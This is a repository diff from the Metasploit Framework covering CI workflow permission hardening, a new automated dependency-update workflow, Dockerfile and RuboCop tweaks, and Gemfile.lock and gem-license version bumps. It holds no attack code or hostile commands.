We will also accept demonstrations of successful module execution even if your module doesn't meet the above conditions. It's not a necessity, but it may help us land your module faster!
Demonstration of successful module execution can take the form of a packet capture (pcap) or a screen recording. You can send pcaps and recordings to [msfdev@metasploit.com](mailto:msfdev@metasploit.com). Please include a CVE number in the subject header (if applicable), and a link to your PR in the email body.
If you wish to sanitize your pcap, please see the [wiki](https://github.com/rapid7/metasploit-framework/wiki/Sanitizing-PCAPs).
If you wish to sanitize your pcap, please see the [wiki](https://docs.metasploit.com/docs/development/get-started/sanitizing-pcaps.html).
+1 -1
View File
@@ -7,7 +7,7 @@ us know in the way that's most comfortable for you.
## Via ZenDesk
You can click on the big blue button at [Rapid7's Vulnerability
You can click on the big orange button at [Rapid7's Vulnerability
Disclosure][r7-vulns] page, which will get you to our general
vulnerability reporting system. While this does require a (free) ZenDesk
account to use, you'll get regular updates on your issue as our software
+59
View File
@@ -0,0 +1,59 @@
name: Build Docs
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
permissions:
actions: none
checks: none
contents: none
deployments: none
id-token: none
issues: none
discussions: none
packages: none
pages: none
pull-requests: none
repository-projects: none
security-events: none
statuses: none
on:
push:
branches-ignore:
- gh-pages
- metakitty
- weekly-dependency-updates
paths:
- docs
pull_request:
branches-ignore:
- weekly-dependency-updates
jobs:
# Ensures that the docs site builds successfully. Note that this workflow does not deploy the docs site.
build:
runs-on: ubuntu-18.04
timeout-minutes: 40
strategy:
fail-fast: true
matrix:
ruby:
- 2.7
name: Ruby ${{ matrix.ruby }}
steps:
- name: Checkout code
uses: actions/checkout@v2
- name: Setup Ruby
uses: ruby/setup-ruby@v1
with:
ruby-version: ${{ matrix.ruby }}
bundler-cache: true
working-directory: docs
- name: build
working-directory: docs
run: |
bundle exec ruby build.rb
bundle exec ruby build.rb --production
+20 -1
View File
@@ -1,4 +1,23 @@
name: Labels
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
permissions:
actions: none
checks: none
contents: none
deployments: none
id-token: none
# This action can update/close issues
issues: write
discussions: none
packages: none
pages: none
# This action can update/close pull requests
pull-requests: write
repository-projects: none
security-events: none
statuses: none
on:
pull_request_target:
types: [labeled]
@@ -153,7 +172,7 @@ jobs:
This includes:
- All of the item points within this [tempate](https://github.com/rapid7/metasploit-framework/blob/master/.github/ISSUE_TEMPLATE/bug_report.md)
- All of the item points within this [template](https://github.com/rapid7/metasploit-framework/blob/master/.github/ISSUE_TEMPLATE/bug_report.md)
- The result of the \`debug\` command in your Metasploit console
- Screenshots showing the issues you're having
- Exact replication steps
+19 -2
View File
@@ -1,13 +1,30 @@
name: Lint
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
permissions:
actions: none
checks: none
contents: none
deployments: none
id-token: none
issues: none
discussions: none
packages: none
pages: none
pull-requests: none
repository-projects: none
security-events: none
statuses: none
on:
push:
branches-ignore:
- gh-pages
- metakitty
- weekly-dependency-updates
pull_request:
branches:
- '*'
branches-ignore:
- weekly-dependency-updates
jobs:
msftidy:
+20 -1
View File
@@ -1,7 +1,26 @@
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
permissions:
actions: none
checks: none
contents: none
deployments: none
id-token: none
# This action can update/close issues
issues: write
discussions: none
packages: none
pages: none
pull-requests: none
repository-projects: none
security-events: none
statuses: none
on:
schedule:
- cron: "0 15 * * 1-5"
name: Stale Bot workflow
jobs:
build:
name: stale
@@ -32,5 +51,5 @@ jobs:
As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.
exempt-issue-labels: |
not-stale,confirmed,easy,newbie-friendly,suggestion,suggestion-module,suggestion-feature,suggestion-docs,ascii-utf8-issues,database,feature,enhancement,library
discussion,not-stale,confirmed,easy,newbie-friendly,suggestion,suggestion-module,suggestion-feature,suggestion-docs,ascii-utf8-issues,database,feature,enhancement,library
debug-only: false
+20 -2
View File
@@ -1,13 +1,30 @@
name: Verify
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
permissions:
actions: none
checks: none
contents: none
deployments: none
id-token: none
issues: none
discussions: none
packages: none
pages: none
pull-requests: none
repository-projects: none
security-events: none
statuses: none
on:
push:
branches-ignore:
- gh-pages
- metakitty
- weekly-dependency-updates
pull_request:
branches:
- '*'
branches-ignore:
- weekly-dependency-updates
jobs:
build:
@@ -50,6 +67,7 @@ jobs:
- 2.6
- 2.7
- 3.0.3
- 3.1.1
test_cmd:
- bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"
- bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag ~content"
@@ -0,0 +1,69 @@
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
permissions:
actions: none
checks: none
contents: none
deployments: none
id-token: none
# This action can update/close issues
issues: write
discussions: none
packages: none
pages: none
pull-requests: write
repository-projects: none
security-events: none
statuses: none
on:
push:
branches:
- weekly-dependency-updates
paths:
- 'Gemfile.lock'
name: Weekly dependency PR workflow
jobs:
create-pull-request:
runs-on: ubuntu-latest
steps:
- name: Create Pull Request
uses: actions/github-script@v6
with:
script: |
const { repo, owner } = context.repo;
console.log('repo:');
console.log(JSON.stringify(repo, null, 4));
console.log('owner:');
console.log(JSON.stringify(owner, null, 4));
const hasPR = await github.rest.pulls.list({
owner,
repo,
head: owner + ':' + '${{ github.ref_name }}'
});
console.log('hasPR:');
console.log(JSON.stringify({ data: hasPR.data, status: hasPR.status }, null, 4));
if (Array.isArray(hasPR.data) && !hasPR.data.length) {
const result = await github.rest.pulls.create({
title: 'Weekly dependency updates',
owner,
repo,
head: '${{ github.ref_name }}',
base: 'master',
body: [
'This PR is auto-generated by [actions/github-script](https://github.com/actions/github-script). ',
'`bundle update` revealed the following gems have new version to be evaluated for update.'
].join('\n')
});
console.log('result:');
console.log(JSON.stringify({ data: result.data, status: result.status }, null, 4));
const labelResult = await github.rest.issues.addLabels({
owner,
repo,
issue_number: result.data.number,
labels: ['automation', 'rn-no-release-notes']
});
console.log('labelResult:');
console.log(JSON.stringify({ data: labelResult.data, status: labelResult.status }, null, 4));
}
+2
View File
@@ -180,6 +180,7 @@ Metrics/ClassLength:
Enabled: true
Exclude:
- 'modules/**/*'
- 'test/modules/**/*'
Style/ClassAndModuleChildren:
Enabled: false
@@ -257,6 +258,7 @@ Style/Documentation:
Description: 'Most Metasploit modules do not have class documentation.'
Exclude:
- 'modules/**/*'
- 'test/modules/**/*'
- 'spec/file_fixtures/modules/**/*'
Layout/FirstArgumentIndentation:
+1 -1
View File
@@ -59,7 +59,7 @@ ENV METASPLOIT_GROUP=metasploit
# used for the copy command
RUN addgroup -S $METASPLOIT_GROUP
RUN apk add --no-cache bash sqlite-libs nmap nmap-scripts nmap-nselibs postgresql-libs python2 python3 py3-pip ncurses libcap su-exec alpine-sdk python2-dev openssl-dev nasm
RUN apk add --no-cache bash sqlite-libs nmap nmap-scripts nmap-nselibs postgresql-libs python2 python3 py3-pip ncurses libcap su-exec alpine-sdk python2-dev openssl-dev nasm mingw-w64-gcc
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap)
+1
View File
@@ -45,3 +45,4 @@ group :test do
# Manipulate Time.now in specs
gem 'timecop'
end
+127 -133
View File
@@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (6.1.28)
metasploit-framework (6.2.9)
actionpack (~> 6.0)
activerecord (~> 6.0)
activesupport (~> 6.0)
@@ -18,6 +18,7 @@ PATH
eventmachine
faker
faraday
faraday-retry
faye-websocket
filesize
hrr_rb_ssh-ed25519
@@ -29,13 +30,14 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 2.0.71)
metasploit-payloads (= 2.0.94)
metasploit_data_models
metasploit_payloads-mettle (= 1.0.18)
mqtt
msgpack
nessus_rest
net-ldap
net-smtp
net-ssh
network_interface
nexpose
@@ -73,7 +75,7 @@ PATH
rex-text
rex-zip
ruby-macho
ruby_smb (~> 3.0)
ruby_smb (~> 3.1.0)
rubyntlm
rubyzip
sinatra
@@ -96,25 +98,25 @@ GEM
remote: https://rubygems.org/
specs:
Ascii85 (1.1.0)
actionpack (6.1.4.4)
actionview (= 6.1.4.4)
activesupport (= 6.1.4.4)
actionpack (6.1.6)
actionview (= 6.1.6)
activesupport (= 6.1.6)
rack (~> 2.0, >= 2.0.9)
rack-test (>= 0.6.3)
rails-dom-testing (~> 2.0)
rails-html-sanitizer (~> 1.0, >= 1.2.0)
actionview (6.1.4.4)
activesupport (= 6.1.4.4)
actionview (6.1.6)
activesupport (= 6.1.6)
builder (~> 3.1)
erubi (~> 1.4)
rails-dom-testing (~> 2.0)
rails-html-sanitizer (~> 1.1, >= 1.2.0)
activemodel (6.1.4.4)
activesupport (= 6.1.4.4)
activerecord (6.1.4.4)
activemodel (= 6.1.4.4)
activesupport (= 6.1.4.4)
activesupport (6.1.4.4)
activemodel (6.1.6)
activesupport (= 6.1.6)
activerecord (6.1.6)
activemodel (= 6.1.6)
activesupport (= 6.1.6)
activesupport (6.1.6)
concurrent-ruby (~> 1.0, >= 1.0.2)
i18n (>= 1.6, < 2)
minitest (>= 5.1)
@@ -127,31 +129,31 @@ GEM
activerecord (>= 3.1.0, < 8)
ast (2.4.2)
aws-eventstream (1.2.0)
aws-partitions (1.550.0)
aws-sdk-core (3.125.5)
aws-partitions (1.602.0)
aws-sdk-core (3.131.2)
aws-eventstream (~> 1, >= 1.0.2)
aws-partitions (~> 1, >= 1.525.0)
aws-sigv4 (~> 1.1)
jmespath (~> 1.0)
aws-sdk-ec2 (1.296.0)
aws-sdk-core (~> 3, >= 3.125.0)
jmespath (~> 1, >= 1.6.1)
aws-sdk-ec2 (1.320.0)
aws-sdk-core (~> 3, >= 3.127.0)
aws-sigv4 (~> 1.1)
aws-sdk-iam (1.65.0)
aws-sdk-core (~> 3, >= 3.125.0)
aws-sdk-iam (1.69.0)
aws-sdk-core (~> 3, >= 3.127.0)
aws-sigv4 (~> 1.1)
aws-sdk-kms (1.53.0)
aws-sdk-core (~> 3, >= 3.125.0)
aws-sdk-kms (1.57.0)
aws-sdk-core (~> 3, >= 3.127.0)
aws-sigv4 (~> 1.1)
aws-sdk-s3 (1.111.3)
aws-sdk-core (~> 3, >= 3.125.0)
aws-sdk-s3 (1.114.0)
aws-sdk-core (~> 3, >= 3.127.0)
aws-sdk-kms (~> 1)
aws-sigv4 (~> 1.4)
aws-sigv4 (1.4.0)
aws-sigv4 (1.5.0)
aws-eventstream (~> 1, >= 1.0.2)
bcrypt (3.1.16)
bcrypt (3.1.18)
bcrypt_pbkdf (1.1.0)
bindata (2.4.10)
bson (4.14.0)
bson (4.15.0)
builder (3.2.4)
byebug (11.1.3)
coderay (1.1.3)
@@ -160,6 +162,7 @@ GEM
crass (1.0.6)
daemons (1.4.1)
diff-lcs (1.5.0)
digest (3.1.0)
dnsruby (1.61.9)
simpleidn (~> 0.1)
docile (1.4.0)
@@ -176,36 +179,19 @@ GEM
eventmachine (>= 1.0.0.beta.4)
erubi (1.10.0)
eventmachine (1.2.7)
factory_bot (6.2.0)
factory_bot (6.2.1)
activesupport (>= 5.0.0)
factory_bot_rails (6.2.0)
factory_bot (~> 6.2.0)
railties (>= 5.0.0)
faker (2.19.0)
i18n (>= 1.6, < 2)
faraday (1.9.3)
faraday-em_http (~> 1.0)
faraday-em_synchrony (~> 1.0)
faraday-excon (~> 1.1)
faraday-httpclient (~> 1.0)
faraday-multipart (~> 1.0)
faraday-net_http (~> 1.0)
faraday-net_http_persistent (~> 1.0)
faraday-patron (~> 1.0)
faraday-rack (~> 1.0)
faraday-retry (~> 1.0)
faker (2.21.0)
i18n (>= 1.8.11, < 2)
faraday (2.3.0)
faraday-net_http (~> 2.0)
ruby2_keywords (>= 0.0.4)
faraday-em_http (1.0.0)
faraday-em_synchrony (1.0.0)
faraday-excon (1.1.0)
faraday-httpclient (1.0.1)
faraday-multipart (1.0.3)
multipart-post (>= 1.2, < 3)
faraday-net_http (1.0.1)
faraday-net_http_persistent (1.2.0)
faraday-patron (1.0.0)
faraday-rack (1.0.0)
faraday-retry (1.0.3)
faraday-net_http (2.0.3)
faraday-retry (2.0.0)
faraday (~> 2.0)
faye-websocket (0.11.1)
eventmachine (>= 0.12.0)
websocket-driver (>= 0.5.1)
@@ -214,40 +200,41 @@ GEM
fivemat (1.3.7)
gssapi (1.3.1)
ffi (>= 1.0.1)
gyoku (1.3.1)
gyoku (1.4.0)
builder (>= 2.1.2)
rexml (~> 3.0)
hashery (2.1.2)
hrr_rb_ssh (0.4.2)
hrr_rb_ssh-ed25519 (0.4.2)
ed25519 (~> 1.2)
hrr_rb_ssh (>= 0.4)
http-cookie (1.0.4)
http-cookie (1.0.5)
domain_name (~> 0.5)
http_parser.rb (0.8.0)
httpclient (2.8.3)
i18n (1.9.1)
i18n (1.10.0)
concurrent-ruby (~> 1.0)
io-console (0.5.11)
irb (1.3.6)
reline (>= 0.2.5)
jmespath (1.5.0)
jmespath (1.6.1)
jsobfu (0.4.2)
rkelly-remix
json (2.6.1)
json (2.6.2)
little-plugger (1.1.4)
logging (2.3.0)
logging (2.3.1)
little-plugger (~> 1.1)
multi_json (~> 1.14)
loofah (2.13.0)
loofah (2.18.0)
crass (~> 1.0.2)
nokogiri (>= 1.5.9)
memory_profiler (1.0.0)
metasm (1.0.5)
metasploit-concern (4.0.3)
metasploit-concern (4.0.4)
activemodel (~> 6.0)
activesupport (~> 6.0)
railties (~> 6.0)
metasploit-credential (5.0.5)
metasploit-credential (5.0.7)
metasploit-concern
metasploit-model
metasploit_data_models (>= 5.0.0)
@@ -257,12 +244,12 @@ GEM
rex-socket
rubyntlm
rubyzip
metasploit-model (4.0.3)
metasploit-model (4.0.5)
activemodel (~> 6.0)
activesupport (~> 6.0)
railties (~> 6.0)
metasploit-payloads (2.0.71)
metasploit_data_models (5.0.4)
metasploit-payloads (2.0.94)
metasploit_data_models (5.0.5)
activerecord (~> 6.0)
activesupport (~> 6.0)
arel-helpers
@@ -274,77 +261,82 @@ GEM
webrick
metasploit_payloads-mettle (1.0.18)
method_source (1.0.0)
mini_portile2 (2.7.1)
minitest (5.15.0)
mini_portile2 (2.8.0)
minitest (5.16.1)
mqtt (0.5.0)
msgpack (1.4.4)
msgpack (1.5.3)
multi_json (1.15.0)
multipart-post (2.1.1)
mustermann (1.1.1)
ruby2_keywords (~> 0.0.1)
nessus_rest (0.1.6)
net-ldap (0.17.0)
net-ssh (6.1.0)
net-ldap (0.17.1)
net-protocol (0.1.3)
timeout
net-smtp (0.3.1)
digest
net-protocol
timeout
net-ssh (7.0.1)
network_interface (0.0.2)
nexpose (7.3.0)
nio4r (2.5.8)
nokogiri (1.13.1)
mini_portile2 (~> 2.7.0)
nokogiri (1.13.6)
mini_portile2 (~> 2.8.0)
racc (~> 1.4)
nori (2.6.0)
octokit (4.22.0)
faraday (>= 0.9)
sawyer (~> 0.8.0, >= 0.5.3)
octokit (4.25.1)
faraday (>= 1, < 3)
sawyer (~> 0.9)
openssl-ccm (1.2.2)
openssl-cmac (2.0.1)
openvas-omp (0.0.4)
packetfu (1.1.13)
pcaprub
parallel (1.21.0)
parser (3.1.0.0)
parallel (1.22.1)
parser (3.1.2.0)
ast (~> 2.4.1)
patch_finder (1.0.2)
pcaprub (0.13.1)
pdf-reader (2.9.0)
pdf-reader (2.10.0)
Ascii85 (~> 1.0)
afm (~> 0.2.1)
hashery (~> 2.0)
ruby-rc4
ttfunk
pg (1.3.0)
pg (1.4.1)
pry (0.13.1)
coderay (~> 1.1)
method_source (~> 1.0)
pry-byebug (3.9.0)
byebug (~> 11.0)
pry (~> 0.13.0)
public_suffix (4.0.6)
puma (5.6.1)
public_suffix (4.0.7)
puma (5.6.4)
nio4r (~> 2.0)
racc (1.6.0)
rack (2.2.3)
rack-protection (2.1.0)
rack (2.2.4)
rack-protection (2.2.0)
rack
rack-test (1.1.0)
rack (>= 1.0, < 3)
rack-test (2.0.2)
rack (>= 1.3)
rails-dom-testing (2.0.3)
activesupport (>= 4.2.0)
nokogiri (>= 1.6)
rails-html-sanitizer (1.4.2)
rails-html-sanitizer (1.4.3)
loofah (~> 2.3)
railties (6.1.4.4)
actionpack (= 6.1.4.4)
activesupport (= 6.1.4.4)
railties (6.1.6)
actionpack (= 6.1.6)
activesupport (= 6.1.6)
method_source
rake (>= 0.13)
rake (>= 12.2)
thor (~> 1.0)
rainbow (3.1.1)
rake (13.0.6)
rb-readline (0.5.5)
recog (2.3.22)
recog (2.3.23)
nokogiri
redcarpet (3.5.1)
regexp_parser (2.2.0)
regexp_parser (2.5.0)
reline (0.2.5)
io-console (~> 0.5)
rex-arch (0.1.14)
@@ -355,12 +347,12 @@ GEM
rex-core
rex-struct2
rex-text
rex-core (0.1.25)
rex-core (0.1.28)
rex-encoder (0.1.6)
metasm
rex-arch
rex-text
rex-exploitation (0.1.28)
rex-exploitation (0.1.33)
jsobfu
metasm
rex-arch
@@ -368,13 +360,13 @@ GEM
rex-text
rexml
rex-java (0.1.6)
rex-mime (0.1.6)
rex-mime (0.1.7)
rex-text
rex-nop (0.1.2)
rex-arch
rex-ole (0.1.7)
rex-text
rex-powershell (0.1.94)
rex-powershell (0.1.96)
rex-random_identifier
rex-text
ruby-rc4
@@ -385,31 +377,31 @@ GEM
metasm
rex-core
rex-text
rex-socket (0.1.34)
rex-socket (0.1.40)
rex-core
rex-sslscan (0.1.7)
rex-core
rex-socket
rex-text
rex-struct2 (0.1.3)
rex-text (0.2.37)
rex-text (0.2.38)
rex-zip (0.1.4)
rex-text
rexml (3.2.5)
rkelly-remix (0.0.7)
rspec (3.10.0)
rspec-core (~> 3.10.0)
rspec-expectations (~> 3.10.0)
rspec-mocks (~> 3.10.0)
rspec-core (3.10.1)
rspec-support (~> 3.10.0)
rspec-expectations (3.10.2)
rspec (3.11.0)
rspec-core (~> 3.11.0)
rspec-expectations (~> 3.11.0)
rspec-mocks (~> 3.11.0)
rspec-core (3.11.0)
rspec-support (~> 3.11.0)
rspec-expectations (3.11.0)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.10.0)
rspec-mocks (3.10.2)
rspec-support (~> 3.11.0)
rspec-mocks (3.11.1)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.10.0)
rspec-rails (5.1.0)
rspec-support (~> 3.11.0)
rspec-rails (5.1.2)
actionpack (>= 5.2)
activesupport (>= 5.2)
railties (>= 5.2)
@@ -419,46 +411,47 @@ GEM
rspec-support (~> 3.10)
rspec-rerun (1.1.0)
rspec (~> 3.0)
rspec-support (3.10.3)
rubocop (1.25.0)
rspec-support (3.11.0)
rubocop (1.31.1)
json (~> 2.3)
parallel (~> 1.10)
parser (>= 3.1.0.0)
rainbow (>= 2.2.2, < 4.0)
regexp_parser (>= 1.8, < 3.0)
rexml
rubocop-ast (>= 1.15.1, < 2.0)
rexml (>= 3.2.5, < 4.0)
rubocop-ast (>= 1.18.0, < 2.0)
ruby-progressbar (~> 1.7)
unicode-display_width (>= 1.4.0, < 3.0)
rubocop-ast (1.15.1)
parser (>= 3.0.1.1)
rubocop-ast (1.18.0)
parser (>= 3.1.1.0)
ruby-macho (3.0.0)
ruby-prof (1.4.2)
ruby-progressbar (1.11.0)
ruby-rc4 (0.1.5)
ruby2_keywords (0.0.5)
ruby_smb (3.0.1)
ruby_smb (3.1.6)
bindata
openssl-ccm
openssl-cmac
rubyntlm
windows_error (>= 0.1.3)
windows_error (>= 0.1.4)
rubyntlm (0.6.3)
rubyzip (2.3.2)
sawyer (0.8.2)
sawyer (0.9.2)
addressable (>= 2.3.5)
faraday (> 0.8, < 2.0)
faraday (>= 0.17.3, < 3)
simplecov (0.18.2)
docile (~> 1.1)
simplecov-html (~> 0.11)
simplecov-html (0.12.3)
simpleidn (0.2.1)
unf (~> 0.1.4)
sinatra (2.1.0)
sinatra (2.2.0)
mustermann (~> 1.0)
rack (~> 2.2)
rack-protection (= 2.1.0)
rack-protection (= 2.2.0)
tilt (~> 2.0)
sqlite3 (1.4.2)
sqlite3 (1.4.4)
sshkey (2.0.0)
swagger-blocks (3.0.0)
thin (1.8.1)
@@ -467,16 +460,17 @@ GEM
rack (>= 1, < 3)
thor (1.2.1)
tilt (2.0.10)
timecop (0.9.4)
timecop (0.9.5)
timeout (0.3.0)
ttfunk (1.7.0)
tzinfo (2.0.4)
concurrent-ruby (~> 1.0)
tzinfo-data (1.2021.5)
tzinfo-data (1.2022.1)
tzinfo (>= 1.0.0)
unf (0.1.4)
unf_ext
unf_ext (0.0.8)
unicode-display_width (2.1.0)
unf_ext (0.0.8.2)
unicode-display_width (2.2.0)
unix-crypt (1.3.0)
warden (1.2.9)
rack (>= 2.0.9)
@@ -485,7 +479,7 @@ GEM
websocket-extensions (>= 0.1.0)
websocket-extensions (0.1.5)
win32api (0.1.0)
windows_error (0.1.3)
windows_error (0.1.4)
winrm (2.3.6)
builder (>= 2.1.2)
erubi (~> 1.8)
@@ -495,14 +489,14 @@ GEM
logging (>= 1.6.1, < 3.0)
nori (~> 2.0)
rubyntlm (~> 0.6.0, >= 0.6.3)
xdr (3.0.2)
activemodel (>= 4.2, < 7.0)
activesupport (>= 4.2, < 7.0)
xdr (3.0.3)
activemodel (>= 4.2, < 8.0)
activesupport (>= 4.2, < 8.0)
xmlrpc (0.3.2)
webrick
yard (0.9.27)
yard (0.9.28)
webrick (~> 1.7.0)
zeitwerk (2.5.3)
zeitwerk (2.6.0)
PLATFORMS
ruby
+4
View File
@@ -131,6 +131,10 @@ Files: external/source/evasion/windows/process_herpaderping/ProcessHerpaderping/
Copyright: 2020 Johnny Shaw
License: MIT
Files: exteneral/source/exploits/CVE-2022-26904/*
Copywrite: 2022 Abdelhamid Naceri
License: MIT
License: BSD-2-clause
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
+76 -81
View File
@@ -1,26 +1,26 @@
This file is auto-generated by tools/dev/update_gem_licenses.sh
Ascii85, 1.1.0, MIT
actionpack, 6.1.4.4, MIT
actionview, 6.1.4.4, MIT
activemodel, 6.1.4.4, MIT
activerecord, 6.1.4.4, MIT
activesupport, 6.1.4.4, MIT
actionpack, 6.1.6, MIT
actionview, 6.1.6, MIT
activemodel, 6.1.6, MIT
activerecord, 6.1.6, MIT
activesupport, 6.1.6, MIT
addressable, 2.8.0, "Apache 2.0"
afm, 0.2.2, MIT
arel-helpers, 2.14.0, MIT
ast, 2.4.2, MIT
aws-eventstream, 1.2.0, "Apache 2.0"
aws-partitions, 1.550.0, "Apache 2.0"
aws-sdk-core, 3.125.5, "Apache 2.0"
aws-sdk-ec2, 1.295.0, "Apache 2.0"
aws-sdk-iam, 1.65.0, "Apache 2.0"
aws-sdk-kms, 1.53.0, "Apache 2.0"
aws-sdk-s3, 1.111.3, "Apache 2.0"
aws-sigv4, 1.4.0, "Apache 2.0"
bcrypt, 3.1.16, MIT
aws-partitions, 1.598.0, "Apache 2.0"
aws-sdk-core, 3.131.1, "Apache 2.0"
aws-sdk-ec2, 1.317.0, "Apache 2.0"
aws-sdk-iam, 1.69.0, "Apache 2.0"
aws-sdk-kms, 1.57.0, "Apache 2.0"
aws-sdk-s3, 1.114.0, "Apache 2.0"
aws-sigv4, 1.5.0, "Apache 2.0"
bcrypt, 3.1.18, MIT
bcrypt_pbkdf, 1.1.0, MIT
bindata, 2.4.10, ruby
bson, 4.14.0, "Apache 2.0"
bson, 4.15.0, "Apache 2.0"
builder, 3.2.4, MIT
bundler, 2.1.4, MIT
byebug, 11.1.3, "Simplified BSD"
@@ -30,6 +30,7 @@ cookiejar, 0.3.3, unknown
crass, 1.0.6, MIT
daemons, 1.4.1, MIT
diff-lcs, 1.5.0, "MIT, Artistic-2.0, GPL-2.0+"
digest, 3.1.0, "ruby, Simplified BSD"
dnsruby, 1.61.9, "Apache 2.0"
docile, 1.4.0, MIT
domain_name, 0.5.20190701, "Simplified BSD, New BSD, Mozilla Public License 2.0"
@@ -38,149 +39,143 @@ em-http-request, 1.1.7, MIT
em-socksify, 0.3.2, MIT
erubi, 1.10.0, MIT
eventmachine, 1.2.7, "ruby, GPL-2.0"
factory_bot, 6.2.0, MIT
factory_bot, 6.2.1, MIT
factory_bot_rails, 6.2.0, MIT
faker, 2.19.0, MIT
faraday, 1.9.3, MIT
faraday-em_http, 1.0.0, MIT
faraday-em_synchrony, 1.0.0, MIT
faraday-excon, 1.1.0, MIT
faraday-httpclient, 1.0.1, MIT
faraday-multipart, 1.0.3, MIT
faraday-net_http, 1.0.1, MIT
faraday-net_http_persistent, 1.2.0, MIT
faraday-patron, 1.0.0, MIT
faraday-rack, 1.0.0, MIT
faker, 2.21.0, MIT
faraday, 2.3.0, MIT
faraday-net_http, 2.0.3, MIT
faraday-retry, 1.0.3, MIT
faye-websocket, 0.11.1, "Apache 2.0"
ffi, 1.15.5, "New BSD"
filesize, 0.2.0, MIT
fivemat, 1.3.7, MIT
gssapi, 1.3.1, MIT
gyoku, 1.3.1, MIT
gyoku, 1.4.0, MIT
hashery, 2.1.2, "Simplified BSD"
hrr_rb_ssh, 0.4.2, "Apache 2.0"
hrr_rb_ssh-ed25519, 0.4.2, "Apache 2.0"
http-cookie, 1.0.4, MIT
http-cookie, 1.0.5, MIT
http_parser.rb, 0.8.0, MIT
httpclient, 2.8.3, ruby
i18n, 1.9.0, MIT
i18n, 1.10.0, MIT
io-console, 0.5.11, "ruby, Simplified BSD"
irb, 1.3.6, "ruby, Simplified BSD"
jmespath, 1.5.0, "Apache 2.0"
jmespath, 1.6.1, "Apache 2.0"
jsobfu, 0.4.2, "New BSD"
json, 2.6.1, ruby
json, 2.6.2, ruby
little-plugger, 1.1.4, MIT
logging, 2.3.0, MIT
loofah, 2.13.0, MIT
logging, 2.3.1, MIT
loofah, 2.18.0, MIT
memory_profiler, 1.0.0, MIT
metasm, 1.0.5, LGPL-2.1
metasploit-concern, 4.0.3, "New BSD"
metasploit-credential, 5.0.5, "New BSD"
metasploit-framework, 6.1.28, "New BSD"
metasploit-model, 4.0.3, "New BSD"
metasploit-payloads, 2.0.71, "3-clause (or ""modified"") BSD"
metasploit_data_models, 5.0.4, "New BSD"
metasploit-concern, 4.0.4, "New BSD"
metasploit-credential, 5.0.7, "New BSD"
metasploit-framework, 6.2.9, "New BSD"
metasploit-model, 4.0.4, "New BSD"
metasploit-payloads, 2.0.94, "3-clause (or ""modified"") BSD"
metasploit_data_models, 5.0.5, "New BSD"
metasploit_payloads-mettle, 1.0.18, "3-clause (or ""modified"") BSD"
method_source, 1.0.0, MIT
mini_portile2, 2.7.1, MIT
mini_portile2, 2.8.0, MIT
minitest, 5.15.0, MIT
mqtt, 0.5.0, MIT
msgpack, 1.4.4, "Apache 2.0"
msgpack, 1.5.2, "Apache 2.0"
multi_json, 1.15.0, MIT
multipart-post, 2.1.1, MIT
mustermann, 1.1.1, MIT
nessus_rest, 0.1.6, MIT
net-ldap, 0.17.0, MIT
net-ldap, 0.17.1, MIT
net-protocol, 0.1.3, "ruby, Simplified BSD"
net-smtp, 0.3.1, "ruby, Simplified BSD"
net-ssh, 6.1.0, MIT
network_interface, 0.0.2, MIT
nexpose, 7.3.0, "New BSD"
nio4r, 2.5.8, MIT
nokogiri, 1.13.1, MIT
nokogiri, 1.13.6, MIT
nori, 2.6.0, MIT
octokit, 4.22.0, MIT
octokit, 4.24.0, MIT
openssl-ccm, 1.2.2, MIT
openssl-cmac, 2.0.1, MIT
openvas-omp, 0.0.4, MIT
packetfu, 1.1.13, BSD
parallel, 1.21.0, MIT
parser, 3.1.0.0, MIT
parallel, 1.22.1, MIT
parser, 3.1.2.0, MIT
patch_finder, 1.0.2, "New BSD"
pcaprub, 0.13.1, LGPL-2.1
pdf-reader, 2.9.0, MIT
pg, 1.3.0, "Simplified BSD"
pdf-reader, 2.10.0, MIT
pg, 1.3.5, "Simplified BSD"
pry, 0.13.1, MIT
pry-byebug, 3.9.0, MIT
public_suffix, 4.0.6, MIT
puma, 5.6.1, "New BSD"
public_suffix, 4.0.7, MIT
puma, 5.6.4, "New BSD"
racc, 1.6.0, "ruby, Simplified BSD"
rack, 2.2.3, MIT
rack-protection, 2.1.0, MIT
rack, 2.2.3.1, MIT
rack-protection, 2.2.0, MIT
rack-test, 1.1.0, MIT
rails-dom-testing, 2.0.3, MIT
rails-html-sanitizer, 1.4.2, MIT
railties, 6.1.4.4, MIT
rails-html-sanitizer, 1.4.3, MIT
railties, 6.1.6, MIT
rainbow, 3.1.1, MIT
rake, 13.0.6, MIT
rb-readline, 0.5.5, BSD
recog, 2.3.22, unknown
recog, 2.3.23, unknown
redcarpet, 3.5.1, MIT
regexp_parser, 2.2.0, MIT
regexp_parser, 2.5.0, MIT
reline, 0.2.5, ruby
rex-arch, 0.1.14, "New BSD"
rex-bin_tools, 0.1.8, "New BSD"
rex-core, 0.1.25, "New BSD"
rex-core, 0.1.28, "New BSD"
rex-encoder, 0.1.6, "New BSD"
rex-exploitation, 0.1.28, "New BSD"
rex-exploitation, 0.1.33, "New BSD"
rex-java, 0.1.6, "New BSD"
rex-mime, 0.1.6, "New BSD"
rex-mime, 0.1.7, "New BSD"
rex-nop, 0.1.2, "New BSD"
rex-ole, 0.1.7, "New BSD"
rex-powershell, 0.1.94, "New BSD"
rex-powershell, 0.1.96, "New BSD"
rex-random_identifier, 0.1.8, "New BSD"
rex-registry, 0.1.4, "New BSD"
rex-rop_builder, 0.1.4, "New BSD"
rex-socket, 0.1.34, "New BSD"
rex-socket, 0.1.39, "New BSD"
rex-sslscan, 0.1.7, "New BSD"
